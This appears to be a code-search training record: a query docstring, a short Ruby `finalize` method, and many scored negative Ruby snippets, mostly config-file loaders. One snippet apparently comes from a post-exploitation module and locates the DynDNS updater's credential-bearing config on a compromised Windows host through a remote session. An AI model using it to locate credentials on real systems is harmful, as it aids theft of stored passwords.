config_path = File.expand_path(File.dirname(__FILE__)+\"/../../\")\n YAML.load_file(\"#{config_path}/config/#{@type}/config.yaml\")\n end", "def config\n path = config_path\n @config ||= path.exist? ? JSON.parse(path.read) : {}\n end", "def config_read\n f = File.expand_path(CONFIG_FILE)\n if File.readable? f\n load f\n # maybe we should check for these existing else crash will happen.\n #$bookmarks.push(*bookmarks) if bookmarks\n log \"loaded #{CONFIG_FILE} \"\n end\nend", "def read_config_file()\n if File.exists?(options[:config_file])\n return YAML.load_file(options[:config_file])\n else\n @logger.error \"Config file [#{options[:config_file]}] missing!\"\n end\n end", "def read_config\n config = open(ENV['HOME']+'/.slacky')\n config.readline.chomp\nend", "def read(config)\n return if unsupported? config\n value = __read_configuration(config)\n value = \"__empty_string__\" if is_blank?(value)\n if value\n say_success \"Configuration: #{config} => #{value}\"\n else\n say_failed \"Could not read configuration: #{config}\"\n end\n end", "def read_config(config_path = T.unsafe(nil)); end", "def get_config\n if @resource[:section]\n return node.get_config(params: \"section #{@resource[:section]}\", as_string: true)\n end\n node.running_config\n end", "def load_config\n begin\n @@stored_config ||= YAML.load(File.open(File.expand_path(\"#{File.dirname(__FILE__)}/../conf/sensei-client.yml\")))\n return @@stored_config\n rescue\n raise \"Could not find a conf/sensei-client.yml file\"\n end\n end", "def config\n\t\t\t@config ||= begin\n\t\t\t\tfile = File.join(self.location, \"config.yaml\")\n\t\t\t\tif File.exists?(file)\n\t\t\t\t\tYAML::load_file(file)\n\t\t\t\telse\n\t\t\t\t\t{}\n\t\t\t\tend\n\t\t\tend\n\t\tend", "def get_config(key)\n if config.key? key\n config[key]\n else\n application.default_config[key]\n end\n end", "def read_config_file(file)\n next_config = safe_load_file(file)\n check_config_is_hash!(next_config, file)\n Jekyll.logger.info \"Configuration file:\", file\n next_config\n rescue SystemCallError\n if @default_config_file ||= nil\n Jekyll.logger.warn \"Configuration file:\", \"none\"\n {}\n else\n Jekyll.logger.error \"Fatal:\", \"The configuration file '#{file}'\n could not be found.\"\n raise LoadError, \"The Configuration file '#{file}' could not be found.\"\n end\n end", "def config\n @config ||= YAML.load File.read(@config_file)\n end", "def get!(key)\n rv = @config.get(key)\n return rv\n end", "def config\n @config ||= load_config\n end", "def load_config\n cfg = File.open(CONFIG) { |yf| YAML::load( yf ) } if File.exists?(CONFIG)\n # => Ensure loaded data is a hash. ie: YAML load was OK\n if cfg.class != Hash\n raise \"ERROR: Configuration - invalid format or parsing error.\"\n else\n if cfg['login'].nil?\n raise \"ERROR: Configuration: login not defined.\"\n end\n end\n\n return cfg\nend", "def load\n $LOG.debug \"Config::load\"\n\n filepath = cfgFilePath(\"pdconfig.yml\")\n if(!File.exists?( filepath )) # TODO: This needs to be moved into KtCfg.\n $LOG.debug \"Config file does not exist. Returning default config obj.\"\n return @cfg\n end\n\n @cfg = read(\"pdconfig.yml\")\n end", "def config_get(id)\n Configuration.get(id)\n end", "def readConfig(section=@name)\n puts \"Using config dir: #{@config_dir}\" if @debug\n config_file=@config_dir+\"/rasca.cfg\"\n section_dir=@config_dir+\"/\"+section\n @config_values=Hash.new\n if File.exists?config_file\n @config_values = YAML.load(File.open(config_file))\n else\n raise \"ERROR: config file #{config_file} does not exist\"\n end\n # Read specific config\n if File.directory?section_dir\n # Read all files on section, except Local.cfg \n Dir.glob(section_dir+\"/*.cfg\") do |file|\n @config_values.merge!(YAML.load(File.open(file))) unless file == \"Local.cfg\"\n end\n # Read local config Local.cfg\n if File.exists?section_dir+\"/Local.cfg\"\n @config_values.merge!(YAML.load(File.open(section_dir+\"/Local.cfg\")))\n end\n end\n \n # Check that we have at least the mandatory Rasca options\n unless @config_values.has_key? :hostname\n raise \"ERROR: No :hostname config entry found\"\n end\n unless @config_values.has_key? :notify_methods\n raise \"ERROR: No :notify_methods config entry found\"\n end\n end", "def read_config_file(file)\n next_config = safe_load_file(file)\n raise ArgumentError.new(\"Configuration file: (INVALID) #{file}\".yellow) unless next_config.is_a?(Hash)\n Hyde.logger.info \"Configuration file:\", file\n next_config\n rescue SystemCallError\n if @default_config_file\n Hyde.logger.warn \"Configuration file:\", \"none\"\n {}\n else\n Hyde.logger.error \"Fatal:\", \"The configuration file '#{file}' could not be found.\"\n raise LoadError, \"The Configuration file '#{file}' could not be found.\"\n end\n end", "def read_config(path)\n if File.file?(path)\n begin\n return YAML.load_file(path)\n rescue Exception => e\n puts \"There was an error reading config file #{path}: #{e.message}\"\n end\n end\n end", "def config\n ensure_config_exists\n @config ||= (YAML.load_file(config_file) || {})\n end", "def config\n @config ||= multi_config || single_config\n end", "def get name, default: nil\n name_str = name.to_s\n name_sym = name.to_sym\n\n value = nil\n found = false\n @config.each do |configfile|\n if value = configfile[:config][name_str] or value = configfile[:config][name_sym]\n found = true\n break\n end\n end\n value = default if value.nil? and not found\n value\n end", "def read_config_file(file)\n file = File.expand_path(file)\n next_config = safe_load_file(file)\n\n unless next_config.is_a?(Hash)\n raise ArgumentError, \"Configuration file: (INVALID) #{file}\".yellow\n end\n\n Jekyll.logger.info \"Configuration file:\", file\n next_config\n rescue SystemCallError\n if @default_config_file ||= nil\n Jekyll.logger.warn \"Configuration file:\", \"none\"\n {}\n else\n Jekyll.logger.error \"Fatal:\", \"The configuration file '#{file}' could not be found.\"\n raise LoadError, \"The Configuration file '#{file}' could not be found.\"\n end\n end", "def read_config(path = nil)\n config_results = {}\n config_path = File.join(Sprite.root, path || DEFAULT_CONFIG_PATH)\n begin\n config_results = File.open(config_path) {|f| YAML::load(f)}\n rescue => e\n puts \"Unable to read sprite config: #{Sprite.root+\"/\"+config_path}\"\n puts e.to_s\n end\n config_results\n end", "def read_config_files\n load_config_files\n end", "def read_config_file(file); end", "def read_config(mgr)\n @config = mgr.read_config_file( File.join(cfg_dir, CONFIG_FILE),\n CONFIG_DOMAIN )\n end", "def read_config(loc)\n if File.file?(loc) && File.readable?(loc)\n begin\n YAML.safe_load(File.read(loc), [], [], true)\n rescue StandardError => e\n PDK.logger.warn(_(\"'%{file}' is not a valid YAML file: %{message}\") % { file: loc, message: e.message })\n {}\n end\n else\n {}\n end\n end", "def conf\n begin\n @conf ||= JSON.parse(File.read(config_file))\n rescue\n @conf ||= {}\n end\n end", "def conf\n begin\n @conf ||= JSON.parse(File.read(config_file))\n rescue\n @conf ||= {}\n end\n end", "def get_config key, default = nil\n name_key = my_short_name.to_sym\n\n if Bot::Conf.has_key? name_key\n if Bot::Conf[name_key].has_key? key\n return Bot::Conf[name_key][key]\n end\n end\n\n default\n end", "def get_configuration(name)\n raise KeyError.new(\"Configuration '#{name}' does not exist\") unless @configurations.has_key?(name)\n @configurations[name]\n end", "def config(lang=nil)\n if lang\n lang_config_hash[lang] || read_config\n else\n read_config\n end\n end", "def read(*args)\n raise ArgumentError.new('No arguments passed to ConfigReader#read') if args.empty?\n\n config = case\n when args.last.end_with?('.json')\n read_json_config(args)\n when args.last.end_with?('.yaml')\n read_yaml_config(args)\n else\n read_json_config(args) || read_yaml_config(args)\n end\n\n raise ArgumentError.new(\"Config file #{File.join(args)} not found\") if config.nil?\n\n config\n end", "def read_config(loc)\n if PDK::Util::Filesystem.file?(loc) && PDK::Util::Filesystem.readable?(loc)\n require 'yaml'\n\n begin\n YAML.safe_load(PDK::Util::Filesystem.read_file(loc), [], [], true)\n rescue Psych::SyntaxError => e\n PDK.logger.warn _(\"'%{file}' is not a valid YAML file: %{problem} %{context} at line %{line} column %{column}\") % {\n file: loc,\n problem: e.problem,\n context: e.context,\n line: e.line,\n column: e.column,\n }\n {}\n end\n else\n {}\n end\n end", "def config\n @config ||= OpenStruct.new(YAML.load_file(self.config_path))\n end", "def config\n @config ||= YAML.load_file(@config_file_path)\n end", "def load_config()\n rspec_file = '.rspec'\n full_config = YAML::load(File.open('./config/users.yaml')) # full YML\n puts \"\\n>Loaded user configuration for: \" + ENV['env_name'].to_s # only section of YML that is relevant for the particular environment\n return full_config[ENV['env_name']] # only section of YML that is relevant for the particular environment\nend", "def get_config\n if ! @config\n if ! File.exists? self.get_config_file\n puts self.get_config_file + ' does not exist - copy lightwaverf-configy.yml from https://github.com/pauly/lightwaverf to your home directory or type \"lightwaverf configure\"'\n self.put_config\n end\n @config = YAML.load_file self.get_config_file\n end\n @config\n end", "def config(name)\n config = configs.select {|config| config.name == name.to_s }.first\n raise \"No such config #{name}, available configs are #{configs.map {|c| c.name}.join(', ')}\" if config.nil?\n yield config if block_given?\n config\n end", "def config\n\tYAML.load(File.open(\"config.yaml\"))\nend", "def fetch_config\n Rails.logger.debug \"Loading #{@file}::#{@env}\" if Object.const_defined?('Rails') && Rails.logger.present?\n YAML::load_file(@file)[@env.to_s]\n end", "def config_for name\n yaml = SpaceScrape.root.join 'config', \"#{ name }.yml\"\n\n unless yaml.exist?\n raise \"Could not load configuration. No such file - #{ yaml }\"\n end\n\n erb = ERB.new(yaml.read).result\n erbd_yaml = YAML.load erb\n\n erbd_yaml[SpaceScrape.environment.to_s] || {}\n rescue YAML::SyntaxError => e\n raise \"YAML syntax error occurred while parsing #{ yaml }. \" \\\n \"Please note that YAML must be consistently indented using spaces. Tabs are not allowed. \" \\\n \"Error: #{ e.message }\"\n end", "def read_configuration(filename)\n raise GaudiConfigurationError, \"Cannot load configuration.'#{filename}' not found\" unless File.exist?(filename)\n\n lines = File.readlines(filename)\n cfg_dir = File.dirname(filename)\n begin\n cfg = parse_content(lines, cfg_dir, *keys)\n rescue GaudiConfigurationError\n raise GaudiConfigurationError, \"In #{filename} - #{$!.message}\"\n end\n\n return cfg\n end", "def load_config( name )\n config = INI.load_file( name )\n config\nend", "def read_config(config_file)\n begin\n file = File.read(config_file)\n parsed_config = JSON.parse(file)\n rescue\n abort(\"ERROR: Error parsing configuration file #{config_file}. \" \\\n 'Does it exist and is it valid JSON?')\n end\n parsed_config\nend", "def [](name)\r\n load\r\n @config[name]\r\n end", "def data\n @config || load_config_file\n end", "def find_config_file\n\n root_directory = File.expand_path(File.join(File.dirname(__FILE__), '..', '..'))\n app_config = File.join(root_directory, CONFIG_FILE_NAME)\n global_config = File.join('/etc', CONFIG_FILE_NAME)\n\n [app_config, global_config].each do |config_file|\n return config_file if File.exists?(config_file)\n end\n\n nil\n\n end", "def config\n @config_file\n end", "def config\n if Config.config.nil? or Config.config.empty?\n begin\n Config.config = Configuration.load_config(Config.config_file,\n Config.config_options)\n rescue Errno::ENOENT\n Config.config = {}\n end\n end\n\n return Config.config\n end", "def read_settings\n\t\t\t\tread = nil\n\t\t\t\tif File.exist?(\"#{Notify_yaml}\")\n\t\t\t\t\tldconfig = YAML.load_file(\"#{Notify_yaml}\")\n\t\t\t\t\t@webhook_url = ldconfig['webhook_url']\n\t\t\t\t\t@user_name = ldconfig['user_name']\n\t\t\t\t\t$source = ldconfig['source']\n\t\t\t\t\tread = true\n\t\t\t\telse\n\t\t\t\t\tprint_error(\"You must create a YAML File with the options\")\n\t\t\t\t\tprint_error(\"as: #{Notify_yaml}\")\n\t\t\t\t\treturn read\n\t\t\t\tend\n\t\t\t\treturn read\n\t\t\tend", "def get_config config_file = \"_config.yml\"\n config_file = File.join(path, config_file)\n yml_data = YAML.load_file(config_file)\n return yml_data\n end", "def get(name)\n @config[name]\n end", "def load_config\n # Nothing in base class. This should be used to load the configuration from\n # disk if saved to a file.\n configuration || {}\n end", "def get_config()\n return @api.do_request(\"GET\", get_base_api_path() + \"/config\")\n end", "def load_config\n @log.debug \"loading validator-specific configuration\"\n config = Autosign::Config.new\n\n if config.settings.to_hash[self.name].nil?\n @log.warn \"Unable to load validator-specific configuration\"\n @log.warn \"Cannot load configuration section named '#{self.name}'\"\n return {}\n else\n @log.debug \"Set validator-specific settings from config file: \" + config.settings.to_hash[self.name].to_s\n return config.settings.to_hash[self.name]\n end\n end", "def read_config\n @config = {}\n begin\n @config = Psych.load_file('config/prefs.yml')\n puts 'preferences loaded'\n rescue => e\n puts e\n puts e.backtrace\n puts 'An error occured while loading the preference file'\n puts 'User will be asked what to do'\n recreate_default_config\n read_config\n end\nend", "def get_config_file\n\t\tconfig_paths =\n\t\t\t[\n\t\t\t\t\"C:\\\\ProgramData\\\\Dyn\\\\Updater\\\\\", #Vista\n\t\t\t\t\"C:\\\\Documents and Settings\\\\All Users\\\\Application Data\\\\Dyn\\\\Updater\\\\\" #XP and else\n\t\t\t]\n\n\t\t# Give me the first match\n\t\tconfig_file = nil\n\t\tconfig_paths.each do |p|\n\t\t\ttmp_path = p + \"config.dyndns\"\n\t\t\tbegin\n\t\t\t\tf = session.fs.file.stat(tmp_path)\n\t\t\t\tconfig_file = tmp_path\n\t\t\t\tbreak #We've found a valid one, break!\n\t\t\trescue\n\t\t\tend\n\t\tend\n\n\t\treturn config_file\n\tend", "def read_settings\n\t\t\t\tread = nil\n\t\t\t\tif File.exist?(\"#{Notify_pushover_yaml}\")\n\t\t\t\t\tldconfig = YAML.load_file(\"#{Notify_pushover_yaml}\")\n\t\t\t\t\t@app_key = ldconfig['app_key']\n\t\t\t\t\t@user_key = ldconfig['user_key']\n\t\t\t\t\tread = true\n\t\t\t\telse\n\t\t\t\t\tprint_error(\"You must create a YAML File with the options\")\n\t\t\t\t\tprint_error(\"as: #{Notify_pushover_yaml}\")\n\t\t\t\t\treturn read\n\t\t\t\tend\n\t\t\t\treturn read\n\t\t\tend", "def read_config\n info(\"reading config.yml\")\n AIPP.config.read! config_file\n @aixm.namespace = AIPP.config.namespace\n end", "def read_project_configuration\n if File.exists?(projectize('config.rb'))\n Compass.configuration.parse(projectize('config.rb'))\n elsif File.exists?(projectize('src/config.rb'))\n Compass.configuration.parse(projectize('src/config.rb'))\n end\n end", "def config\n @config ||= YAML.load_file(config_file)[environment]\n end", "def config\n @config ||= begin\n if File.exist?(@config_file)\n begin\n YAML.load_file(@config_file) || {}\n rescue Psych::SyntaxError => e\n raise PgSync::Error, e.message\n end\n else\n {}\n end\n end\n end", "def read\n unless File.exist?(config_file)\n raise UserError, \"Kitchen YAML file #{config_file} does not exist.\"\n end\n\n Util.symbolized_hash(combined_hash)\n end", "def [](key)\n load_config unless @config\n @config[key]\n end", "def read_config(io = nil)\n unless io\n root_path = ::Middleman::Application.root\n config_file_path = File.join(root_path, \".s3_sync\")\n\n # skip if config file does not exist\n return unless File.exists?(config_file_path)\n\n io = File.open(config_file_path, \"r\")\n end\n\n config = YAML.load(io).symbolize_keys\n\n OPTIONS.each do |config_option|\n self.send(\"#{config_option}=\".to_sym, config[config_option]) if config[config_option]\n end\n end", "def get(key)\n key = key.to_s\n %w(local_config app_config m2mhub_config).each do |config_key|\n if (config = @yaml_config[config_key])\n if config_key == 'app_config'\n next unless config = config[Rails.env.downcase]\n end\n if config.member?(key)\n return config[key]\n end\n end\n end\n nil\n end", "def [](name)\n @configs[name]\n end", "def [](name)\n @configs[name]\n end", "def read_settings\n\t\t\t\tread = nil\n\t\t\t\tif File.exist?(\"#{Notify_yaml}\")\n\t\t\t\t\tldconfig = YAML.load_file(\"#{Notify_yaml}\")\n\t\t\t\t\t@webhook_url = ldconfig['webhook_url']\n\t\t\t\t\t@user_name = ldconfig['user_name']\n\t\t\t\t\tread = true\n\t\t\t\telse\n\t\t\t\t\tprint_error(\"You must create a YAML File with the options\")\n\t\t\t\t\tprint_error(\"as: #{Notify_yaml}\")\n\t\t\t\t\treturn read\n\t\t\t\tend\n\t\t\t\treturn read\n\t\t\tend", "def config\n unless @config\n begin\n @config = YAML.load_file( @config_file )\n rescue => boom\n @config = nil\n raise \"Unable to grok yaml landscape file. #{boom}\"\n end\n end\n @config\n end", "def config\n unless @config\n begin\n @config = YAML.load_file( @config_file )\n rescue => boom\n @config = nil\n raise \"Unable to grok yaml landscape file. #{boom}\"\n end\n end\n @config\n end", "def get_config\n\t\tend", "def config_for(name)\n name = name.to_s\n check_for_changes(name) if auto_check?(name)\n data = get_config_data(name)\n logger.debug \"config_for(#{name.inspect}) => #{data.inspect}\"\n data\n end", "def read_config\n\t\t\n\t\t@log.info \"START #{__FILE__}.#{__method__}\"\n\t\t\n\t\tbegin\n\t\t\n\t\t\tconfig \t\t= YAML.load_file $db_config\n\t\t\t@host \t\t= config[$db_mode][\"host\"]\t\n\t\t\t@user \t\t= config[$db_mode][\"username\"] \n\t\t\t@db_name \t= config[$db_mode][\"database\"]\n\t\t\t@password \t= config[$db_mode][\"password\"]\n\t\t\n\t\trescue Mysql2::Error => e\n\t\t\t\n\t\t\tputs \"#{__FILE__}.#{__method__} An error has occured. Please check logs.\"\n\t\t\t\n\t\t\t@log.fatal \"Error code: #{e.error_number}\"\n\t\t\t@log.fatal \"Error SQLSTATE: #{e.sql_state}\" if e.respond_to?(\"sqlstate\")\n\t\t\t\n\t\tend\n\n\t\t@log.info \"END #{__FILE__}.#{__method__}\"\t\t\n\t\t\n\tend", "def read(filename = Config_File_Name)\n sec = nil\n begin\n File.open(filename, 'r') do |f|\n while line = f.gets\n line.chop!\n if Regexp.new(CommentLine).match(line)\n elsif (SEC_ALL_SYM + [DEF_S, OUTPUT_S]).include?(line.chop.to_sym)\n sec = line.chop.to_sym\n elsif match = Regexp.new(Assignment).match(line)\n if sec == nil\n Log.err(\"Error in configuration file #{filename} line #{f.lineno}\")\n Log.err('=> ' + line)\n Log.err(' assignment before a section is selected')\n end\n name = match[NameIndex].to_sym\n value = match[ValIndex]\n if e = set(sec, name, value)\n Log.err(\"Error in configuration file #{filename} line #{f.lineno}\")\n Log.err('=> ' + line)\n Log.err(' ' + e)\n #break\n end\n else\n Log.err(\"Error in configuration file #{filename} line #{f.lineno}\")\n Log.err('=> ' + line)\n Log.err(' invalid line, ignored')\n #break\n end\n end\n end\n rescue => e\n Log.err e.message\n end\n end", "def read_config_file\n if @pretend\n contents = @pretend_input || []\n else\n contents = File.readlines(@config_file)\n end\n\n # add a blank line at the end (sentinal)\n contents << \"\\n\"\n end", "def read_settings\n\t\t\t\tread = nil\n\t\t\t\tif File.exist?(\"#{Twitter_yaml}\")\n\t\t\t\t\tldconfig = YAML.load_file(\"#{Twitter_yaml}\")\n\t\t\t\t\t@consumer_key = ldconfig['consumer_key']\n\t\t\t\t\t@consumer_secret = ldconfig['consumer_secret']\n\t\t\t\t\t@oauth_token = ldconfig['oauth_token']\n\t\t\t\t\t@oauth_token_secret = ldconfig['oauth_token_secret']\n\t\t\t\t\t@user = ldconfig['user']\n\t\t\t\t\t@source = ldconfig['source']\n\t\t\t\t\tread = true\n\t\t\t\telse\n\t\t\t\t\tprint_error(\"You must create a YAML File with the options\")\n\t\t\t\t\tprint_error(\"as: #{Twitter_yaml}\")\n\t\t\t\t\treturn read\n\t\t\t\tend\n\t\t\t\treturn read\n\t\t\tend", "def read_configurations(file_name = T.unsafe(nil)); end", "def load_config()\n rspec_file = '.rspec' \n env = ENV['ENV_NAME']\n puts \"\\n>Loading RSpec configuration for: \" + env.to_s\n full_config = YAML::load(File.open('./config/rspec.yaml')) # full YML\n puts \"\\n>Loaded RSpec configuration: \" + full_config[env].to_s # only section of YML that is relevant for the particular environment\n return full_config[env] # only section of YML that is relevant for the particular environment\nend", "def config\n (null_config? ? NoConfig.instance : actual_config)\n end", "def get_config(name, default)\n return ENV[name].nil? ? default : ENV[name]\nend", "def single_config\n default = begin\n if profile.is_a?(Hash)\n profile\n elsif [String, Symbol].include?(profile.class)\n available[profile] ||\n raise(ProfileError, \"Profile #{profile.inspect} is undefined\")\n else\n available[:default] ||\n raise(ProfileError, 'No default profile defined')\n end\n end\n {:default => default}\n end", "def __read_configuration(key)\n conf = config_file\n\n # make the required substitution in the configuration file\n text = File.read conf\n match = text.match(/'#{key}' => (.*),/)\n match ? match[1] : nil\n end" ]
[ "0.7179085", "0.70498407", "0.69606197", "0.6943784", "0.6925549", "0.6855029", "0.679109", "0.67331976", "0.66777253", "0.664706", "0.66129273", "0.66123533", "0.65960664", "0.65883416", "0.6578148", "0.6533667", "0.6521787", "0.6521725", "0.64785165", "0.6472886", "0.64661115", "0.6453134", "0.644802", "0.6408814", "0.63698685", "0.63671243", "0.6351179", "0.6350338", "0.6347933", "0.63375896", "0.63344026", "0.63105553", "0.6303086", "0.6298119", "0.6297361", "0.629002", "0.62786496", "0.6271524", "0.6267468", "0.62278825", "0.62186617", "0.62134105", "0.61879396", "0.6187888", "0.6177322", "0.6177322", "0.61676896", "0.61566854", "0.6152977", "0.61468655", "0.61383414", "0.61337966", "0.6128449", "0.6125747", "0.61014396", "0.6090148", "0.6078388", "0.6077291", "0.60743386", "0.6071634", "0.6064257", "0.6057554", "0.60570157", "0.6056683", "0.60491323", "0.6042329", "0.6041761", "0.60338813", "0.602637", "0.60238385", "0.6020434", "0.60138476", "0.60052645", "0.60034007", "0.6000692", "0.59991854", "0.59926873", "0.59815943", "0.59801525", "0.59765476", "0.5971021", "0.59668404", "0.596523", "0.59547806", "0.5945007", "0.5945007", "0.5941946", "0.59408236", "0.59408236", "0.5936291", "0.5932193", "0.59280765", "0.5914569", "0.5898185", "0.5894527", "0.5893155", "0.58747756", "0.58668506", "0.5862593", "0.58300954", "0.5827937" ]
0.0
-1
Perform any final checks that our content is sane, for things that could be misordered in the DSL.
def finalize @checks.each {|check| check.finalize(self) } end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def clean_up_contents()\n # very minimal\n # elements = ['p', 'b', 'h1', 'h2', 'h3', 'h4', 'h5', 'h6'], attributes={})\n\n if self.contents?\n html = self.contents\n email_regex = /<p>Email:\\s+((\\w|\\-|\\_|\\.)+\\@((\\w|\\-|\\_)+\\.)+[a-zA-Z]{2,})/i\n\n html.gsub! /\\[endif\\]--/ , ''\n html.gsub! /[\\n|\\r]/ , ' '\n html.gsub! /&nbsp;/ , ' '\n\n # this will convert UNICODE into ASCII. \n #It will also strip any possiblity of using a foreign language!\n #converter = Iconv.new('ASCII//IGNORE//TRANSLIT', 'UTF-8') \n #html = converter.iconv(html).unpack('U*').select{ |cp| cp < 127 }.pack('U*')\n # keep only the things we want.\n unless (Sanitize::Config::RELAXED[:attributes][\"table\"].include?(\"align\"))\n Sanitize::Config::RELAXED[:attributes][\"table\"] << \"align\"\n end\n\n config = Sanitize::Config::RELAXED\n if (html.encoding.name == 'ASCII-8BIT')\n config[:output_encoding] = 'ASCII'\n end\n html = Sanitize.clean( html, config)\n\n # butt up any tags\n html.gsub! />\\s+</ , '><'\n\n #remove email address lines\n html.gsub! email_regex , '<p>'\n\n # post sanitize cleanup of empty blocks\n # the order of removal is import - this is the way word stacks these elements\n html.gsub! /<i><\\/i>/ , ''\n html.gsub! /<b><\\/b>/ , ''\n html.gsub! /<\\/b><b>/ , ''\n html.gsub! /<p><\\/p>/ , ''\n html.gsub! /<p><b><\\/b><\\/p>/ , ''\n\n # misc - fix butted times\n html.gsub! /(\\d)am / , '\\1 am '\n html.gsub! /(\\d)pm / , '\\1 pm '\n # misc - remove multiple space that may cause doc specific regexs to fail (in dates for example)\n html.gsub! /\\s+/ , ' '\n\n # add new lines at the end of lines\n html.gsub! /<\\/(p|h\\d|dt|dd|dl)>/, '</\\1>' + \"\\n\"\n html.gsub! /<dl>/ , '<dl>' + \"\\n\"\n\n self.contents = html\n end\n end", "def check_resource_semantics!; end", "def content_check\n begin\n raise CompulsoryElementMissingException.new('location', source_name) if @doc.root.nil? \n raise CompulsoryElementMissingException.new('blocks', source_name) if @doc.root.elements['blocks'].nil?\n rescue => ex\n @log.error \"Incomplete location data found in datafile #{source_name}.\" + \"(\" + ex.message + \")\"\n raise\n end\n end", "def clean(data)\n cleaned = clean_content(data)\n clean_content(cleaned)\n end", "def clean_content(content)\n @content = content\n unless content.nil?\n correct_image_paths\n remove_typepad_links\n end\n end", "def verify_integrity(object, entry)\n base_name = remove_dot_json(entry.name)\n if object[\"raw_data\"][\"id\"] != base_name\n yield(\"ID in #{entry.path_for_printing} must be '#{base_name}' (is '#{object[\"raw_data\"][\"id\"]}')\")\n elsif RESERVED_NAMES.match?(entry.parent.name)\n yield(\"Data bag name ('#{entry.parent.name}') must not match #{RESERVED_NAMES.inspect}\")\n end\n end", "def check_listing\n unless @listing.context == :listing\n warn block: @listing, message: <<~LOG.strip\n #{LAYOUT_DESCRIPTION} but the first block was a #{@listing.context}.\n LOG\n return false\n end\n\n validate_listing_langauge\n end", "def validate\n reasons = []\n\n if @content_id_base.empty?\n reasons << \"CONTENT_ID_BASE is missing. It should be the common prefix used to generate \" \\\n \"IDs for content within this repository.\"\n end\n\n unless reasons.empty?\n $stderr.puts \"Unable to prepare content because:\"\n $stderr.puts\n $stderr.puts reasons.map { |r| \" * #{r}\\n\"}.join\n $stderr.puts\n\n @should_submit = false\n end\n end", "def clean()\n #strip all illegal content here. (scripts, shit that will break layout, etc.)\n end", "def validate_and_sanitize\n r = super\n return r unless r.success?\n\n success\n end", "def check_children_order(sorted_children, children)\n sorted_children.each_with_index do |sorted_item, index|\n next if sorted_item == children[index]\n\n add_lint(sorted_item.first.line,\n \"Expected item on line #{sorted_item.first.line} to appear \" \\\n \"before line #{children[index].first.line}. #{MESSAGE}\")\n break\n end\n end", "def checks; end", "def content(clean = false, index = 0)\n return @content[[clean, index]] if @content[[clean, index]]\n return '' if !@content_candidates || @content_candidates.empty?\n \n content_branch = content_at(index)\n orphans_to_remove = []\n \n #ap content_branch.to_html\n #exit\n \n # Go through every piece of the content and rip out sections that contain too many tags compared to words\n # This is usually indicative of \"widgets\" or link bar sections\n content_branch.css('*').each_with_index do |el, i|\n next unless el\n\n if el.name == \"h1\"\n el.remove\n next\n end\n\n if el.name == \"h2\" && content_branch.inner_html.scan('<h2').size == 1\n el.remove\n end\n\n # Remove elements that contain words but there are more tags than words overall\n # First, count the words\n #word_count = 0\n #el.traverse do |subel|\n # if subel.text? && subel.path !~ /\\/a\\// && subel.path !~ /\\/(h1|h2|h3|h4|h5|h6)\\//\n # word_count += (subel.text.downcase.scan(/[a-z]{4,}/) - META_WORDS).size\n # end\n #end\n #\n ## .. then count the tags\n #\n #inner_tags = el.inner_html.scan(/\\<\\w.*?\\>/).size\n #if word_count < inner_tags && inner_tags > 3 && word_count < 250\n # puts \"At #{el.name} #{el['id']} #{el['class']} containing '#{el.text[0..20]}' we have #{word_count} valid words to #{el.inner_html.scan(/\\<\\w.*?\\>/).size} tags\"\n # #puts \"Removing #{el.name} #{el['id']} #{el['class']} TOO MANY TAGS FOR WORDS\"\n # el.remove\n # next\n #end\n\n # If there are at least 2 words and a third of them are \"meta words,\" remove the element\n #inner_words = el.text.to_s.downcase.scan(/[a-z]{3,}/)\n #if BLOCK_OUTPUT_ELEMENTS.include?(el.name) && inner_words.size >= 2\n # if ((inner_words & META_WORDS).size >= (inner_words.size / 3))\n # el.remove\n # end\n #end\n\n if el.text && el.text.strip.length < 3 && !%w{img}.include?(el.name) && el.inner_html !~ /\\<img/\n el.remove\n next\n end\n\n if el.name == \"p\" && el.text !~ /(\\.|\\?|\\!|\\\"|\\')(\\s|$)/ && el.inner_html !~ /\\<img/\n el.remove\n next\n end\n\n # If the ID or class of the element contains a fatally bad word, get rid of it\n if (BAD_WORDS & (el['id'].to_s + ' ' + el['class'].to_s).downcase.scan(/[a-z]+/)).length > 0\n #puts \"Removing #{el.name} #{el['id']} #{el['class']} BAD\"\n el.remove\n next\n end\n end\n\n # If a title was found early in the result document but had text before it, remove that text - it's probably crap\n orphans_to_remove.each { |el| el.remove }\n \n # Clean up the HTML again - Nokogiri outputs it with full doctype and crap\n clean_html = strip(Sanitize.clean(content_branch.to_html, :elements => (clean ? BLOCK_OUTPUT_ELEMENTS : OUTPUT_ELEMENTS), :attributes => (clean ? OK_CLEAN_ATTRIBUTES : OK_ATTRIBUTES)))\n \n # If the content is desired as \"clean\" (i.e. plain-text), do some quick fix-ups\n if clean\n # Get rid of line break tags, make list items look nice, remove all other HTML tags, and clean up spaces and newlines\n clean_html.gsub!(/<br.*?>/, \"\\n\")\n clean_html.gsub!(/<li>/, '* ')\n clean_html.gsub!(/<\\w+>/, '')\n clean_html.gsub!(/<\\/\\w+>/, \"\\n\")\n clean_html.gsub!(/\\ +/, ' ')\n clean_html.gsub!(/^\\s+\\n/, \"\\n\")\n clean_html.gsub!(/\\n{2,}/, \"\\n\")\n clean_html.strip!\n end\n \n # If tags butt up against each other across lines, remove the line break(s)\n clean_html.gsub!(/\\>\\n+\\</, '><')\n\n # Get rid of images whose sources are relative (TODO: Make this optional)\n clean_html.gsub!(/\\<img .*?\\>/i) do |img_tag|\n img_tag =~ /\\Whttp/ ? img_tag : ''\n end\n\n # Remove empty tags\n clean_html.gsub!(/<(\\w+)><\\/\\1>/, \"\")\n\n # Just a messy, hacky way to make output look nicer with subsequent paragraphs..\n clean_html.gsub!(/<\\/(div|p|h1|h2|h3|h4|h5|h6)>/, '</\\1>' + \"\\n\\n\")\n \n @content[[clean, index]] = clean_html\n end", "def validate_contents\n missing_elements = self.class.elements.map(&:name).select {|e| !self.respond_to?(e) || self.send(e).nil?}\n raise Exceptions::MissingRequiredElements.new(missing_elements.join(', ')) unless missing_elements.empty?\n\n missing_attributes = self.class.attributes.map(&:name).select {|a| !self.respond_to?(a) || self.send(a).nil?}\n raise Exceptions::MissingRequiredAttributes.new(missing_attributes.join(', ')) unless missing_attributes.empty?\n end", "def pre_conversion_sanity_check()\r\n # Do a dry run of the bug conversion checking the mappings between BugZilla and FogBugz fields\r\n # If the FB API allowed creation of things like projects and priorities, this wouldn't be necessary\r\n missing_fields = []\r\n\r\n @bz_reader.each_bug do |bz_bug|\r\n verify_field_mappings(bz_bug, missing_fields)\r\n end\r\n\r\n missing_fields\r\n end", "def guard_text( text )\n # todo/fix 2: note we need to differentiate between blocks and inline\n # thus, to avoid runs - use guard_block (add a leading newline to avoid getting include in block that goes before)\n \n 